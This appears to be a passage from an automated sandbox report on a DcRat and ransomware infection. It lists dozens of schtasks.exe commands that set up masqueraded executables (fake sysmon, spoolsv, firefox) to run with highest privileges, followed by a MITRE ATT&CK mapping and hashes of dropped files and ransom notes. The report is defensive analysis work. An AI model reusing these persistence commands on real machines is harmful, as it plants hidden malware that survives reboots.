schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\Windows\InboxApps\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\sppsvc.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Media Player\firefox.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Templates\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:1412

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "netshn" /sc MINUTE /mo 6 /tr "'C:\Users\Public\Desktop\netsh.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Java\jre-1.8\bin\server\cmd.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\firefox.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\All Users\Templates\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Media Player\firefox.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:6640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\Templates\conhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:6248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "netsh" /sc ONLOGON /tr "'C:\Users\Public\Desktop\netsh.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラックク" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\クラック.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Users\Public\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files\Java\jre-1.8\bin\server\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラック" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\クラック.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:7176

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7284

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Users\Public\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:7320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラックク" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\クラック.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:7348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "netshn" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Desktop\netsh.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:7456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 14 /tr "'C:\Users\Public\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:7488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c27" /sc MINUTE /mo 6 /tr "'C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 9 /tr "'C:\Program Files\Java\jre-1.8\bin\server\cmd.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:7196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 6 /tr "'C:\Windows\SchCache\firefox.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:7780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2" /sc ONLOGON /tr "'C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:7924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:8096

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Windows\SchCache\firefox.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c27" /sc MINUTE /mo 6 /tr "'C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
PID:1296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 6 /tr "'C:\Windows\SchCache\firefox.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6128

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- DcRat
PID:5408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae" /sc ONLOGON /tr "'C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
PID:2220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\msedge.exe'" /f
1⤵
- DcRat
PID:5168

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\Program Files\Java\jre-1.8\legal\Idle.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:7668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files\Java\jre-1.8\legal\Idle.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:5924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:7028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\msedge.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:5468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
PID:6532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 5 /tr "'C:\Program Files\Java\jre-1.8\legal\Idle.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:6940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 11 /tr "'C:\Users\Default\services.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\msedge.exe'" /rl HIGHEST /f
1⤵
PID:8184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Users\Default\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:6756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Windows\Temp\MsEdgeCrashpad\reports\wininit.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\System.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Users\Default\services.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:6352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:7040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 10 /tr "'C:\Program Files\Reference Assemblies\Happy18.exe'" /f
1⤵
- DcRat
PID:7512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\Temp\MsEdgeCrashpad\reports\wininit.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:7808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:7388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Happy18.exe'" /rl HIGHEST /f
1⤵
PID:7744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 7 /tr "'C:\Windows\Temp\MsEdgeCrashpad\reports\wininit.exe'" /rl HIGHEST /f
1⤵
PID:5184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 10 /tr "'C:\Program Files\Reference Assemblies\Happy18.exe'" /rl HIGHEST /f
1⤵
- DcRat
PID:5612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Windows\SystemTemp\Crashpad\fontdrvhost.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:8088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\firefox.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:5700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\SystemTemp\Crashpad\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
PID:8028

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 6 /tr "'C:\Windows\SystemTemp\Crashpad\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:7492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\firefox.exe'" /rl HIGHEST /f
1⤵
PID:7304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\firefox.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:5612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\57ccb6f0bd910fed428761828ae93553.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:6776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
PID:5408

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:8068

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5964

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2892

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7944

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:5712

C:\Windows\SysWOW64\wowmgr.exe
C:\Windows\SysWOW64\wowmgr.exe
1⤵
PID:6860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\Idle.exe'" /f
1⤵
- DcRat
- Scheduled Task/Job: Scheduled Task
PID:8252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\Idle.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6924

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\Idle.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Photo Viewer\en-US\services.exe'" /f
1⤵
- DcRat
PID:7824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\en-US\services.exe'" /rl HIGHEST /f
1⤵
PID:7220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Scripting

T1064

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$Recycle.Bin\S-1-5-21-661032028-162657920-1226909816-1000\OXAXCBEFC-DECRYPT.txt

Filesize
8KB

MD5
e69736f13f5e7df2d43e48c5cd4b3740

SHA1
281d70d28290b4bff67d7a734f2e456bedb6cb41

SHA256
6af06e8b0924b1288ac2d1bc1cda02896d5f01fe45ec060b5078597740a12b0f

SHA512
f223f357ebbb51c24b6d1e49bc617a6b14b734a5836aaf9739ab4fccd0994a8b0af587bc1b60fc3144ea20e9dbedaa3cea346ebb560ed4a787c77fabdfb3e403

Download Submit
C:\PerfLogs\OXAXCBEFC-DECRYPT.txt

Filesize
8KB

MD5
54660cb3757a60dc6354433546bfa911

SHA1
2b814db77a4d081a320b69e43863c068f8f53b70

SHA256
3e6e1c7874b1b45244ac1f7b4a3dc9c89e77ede886d16683589a6ef377943280

SHA512
5f3fe4e677d9caf993754576af6958e0c1609b11129acc2700990f91ece4c989f41e44728aa121b07cf533f1811e84246ea366d719fb230646d7aae3a69c75e6

Download Submit
C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe

Filesize
233KB

MD5
4ef3177a2e94ce3d15ae9490a73a2212

SHA1
a34f47568ce7fcea97a002eebeae385efa98790c

SHA256
87353d18dfdebf4d0747bbf21d58adaed2b04060d61cba3fa052d522640520f0

SHA512
635ce5c0d1b9f7dd5d7b4c00f216af06dc7d818132ba87a57d3d54f6b30ee01f64430d2aa265f60027cc58dc2e738d5b674ee36ffdca34ff540ce44b7da7c502

Download Submit
C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe

Filesize
55KB

MD5
17315d95e80eb36cc51a7d25e4c8b231

SHA1
95006ad8de0a17dc3df6698e195e62b8ee32475e

SHA256
2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c

SHA512
481a15c46dcf38562aa989f52330e556da90a3ce00190cedb2e00b2a39df5db3bcc3af743060fd8c75933d6ae756aa4bbc176708f36d3b4aa443b4663ca94608

Download Submit
C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe

Filesize
37KB

MD5
5c8eb40a1344bd8b18c1ef0d95d433d4

SHA1
b6c1f037637936ae018cc5e3e17ab9f3cc8cb3ff

SHA256
31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65

SHA512
74aa4c3047e5fff0b0d903841ceb01cd0e9939244c9008a9ae6a77ee5484290e7a0df56bbfc422ff5cf80012e84b75af2cf8840fd6ce6c80ea361fa07e5da577

Download Submit
C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe

Filesize
93KB

MD5
7299c8fe0d2e5c385c4e4711260ee2b5

SHA1
4814f8494c3ff005203838e25a62cdb1ce5f8d68

SHA256
34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219

SHA512
2103b6e574657998159979c0d1e9021175732fffbfcba4ac1c3f778b33010129b9b9467b6f6a1e5f4095e9bf62d2212654f20c5a051cbb72158a2a8f399dfaad

Download Submit
C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe

Filesize
3.2MB

MD5
57ccb6f0bd910fed428761828ae93553

SHA1
71dfe6354ac308d03cf7219686358652b9a8d438

SHA256
7d357b523b5116915747af1fb0d5e6b20a472dd08fd4eda3d0733aeaf70dcd07

SHA512
44423e3df0d34d8917c82103f336cf0c61cd0aa2e3722e3baf9224daf0b620009967136b1625d2f783b1e36207ac529008d49235ae2ae50b01a9b053d0ba0878

Download Submit
C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe

Filesize
828KB

MD5
5e710462c65fe899466e4fb7c1e33c9a

SHA1
a0bee34a8865683de35502c1ed5ff41e86670718

SHA256
f4f54ed5ec3a6e3b427be418fa0f63061e2feffbb9c33ab3911404b1b8f93c7e

SHA512
35c4adede7a4f8baad61876de8821e91dfe4ace4ec721575fc8155f6e7d43c794a7d4741609fda24b16a82d3d9ae18bc35addb299416f59ad1cde74eedbfa0c2

Download Submit
C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe

Filesize
568KB

MD5
4448a3c2ddfdda45009b440faa39a5fe

SHA1
b16a26331d6ebe8f4a45b43e8b0251a715139b10

SHA256
70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2

SHA512
094cef6184c29430be5e4536b54cdfa632b52e7e09c7a4c04104d1b533113f6de6190d6525aac84ddba631220ee0b33a047272b952765977df336a5fa72425b0

Download Submit
C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe

Filesize
827KB

MD5
73c1c41b9e71c48e752a5cd19fe808b6

SHA1
b8bd41a0b9dc7baef6eb01dfe6c852afdfaeed18

SHA256
fce441edb227275c5380194cc7a96a95998de6d75cd601b73bce1be529a68bd6

SHA512
f146a8917d39aa29d52386f5a23bbc01fbfade291d576782b5cc80b0ca363fa24fee80f00cf81ffa40e12503fedd203b422b7ad97dbb0d4500152e86d974cb38

Download Submit
C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe

Filesize
268KB

MD5
fc57a660e24d9c91cb5464b2ece30756

SHA1
6d70e4dcd68ea6dae43cc381d4be84bcfad38eda

SHA256
75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa

SHA512
8f0fa0a2e5553a4059ac3e224ea8106131193f3cec7c23456507f8404c42440267efe88462cf31bcd3a6f9dba57011933a2a43e74b1cccd5d1a363497d1a3a67

Download Submit
C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe

Filesize
205KB

MD5
887b35a87fb75e2d889694143e3c9014

SHA1
c8be4500127bfce10ab38152a8a5003b75613603

SHA256
78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae

SHA512
98cf0e201092e6d43a7ec5db4d80e6cc20ec9a983098b04597039b244535f78a4096b76bc62e591336b810fafa302e1009a64be6e788f24dcc8b3ac0c8eb930a

Download Submit
C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe

Filesize
175KB

MD5
7f1630df6b57af024a3b561bdadc208f

SHA1
9b304cb2eff05f040b76eccc00ee55b914cf1839

SHA256
c9dbac4fe659e8918f50a4a157713e40d71e05367799af66d1d7845d958ee3f7

SHA512
742219cb5c76b9d39ed56cff988a533d19ef3e202e0fa48e9a3aed7dd9de190eef0c313bc974e37e7f363892eb6787bc66657324be2f0fb05d1b0021ae61ec9e

Download Submit
C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe

Filesize
308KB

MD5
938b92958ded4d50a357d22eddf141ad

SHA1
062f16b1cdfacc55f982908ee6c85fce6296805a

SHA256
93c8db29ec3707f13bf5a96d5b8a3dc33c2f5b870acd3df07292c724ce10a13f

SHA512
372942601188751cdbb79cc94469a66434ca2963591bb849137654622485cd92f4ac8fbbc9b83c3acdc128e354bb3b805af0fc0a465e0a2519d330f8ca9a6c36

Download Submit
C:\Program Files (x86)\BTZ.exe

Filesize
73KB

MD5
cff0392ac2a1d782f43f7938ea18af4f

SHA1
1dfd93a3106a1b4fd10cfaf8b8bb4bb606c4093d

SHA256
ecfed4163f7058856e1d253a29d06d808c069670e4a06cad66f42e71cbc83a2e

SHA512
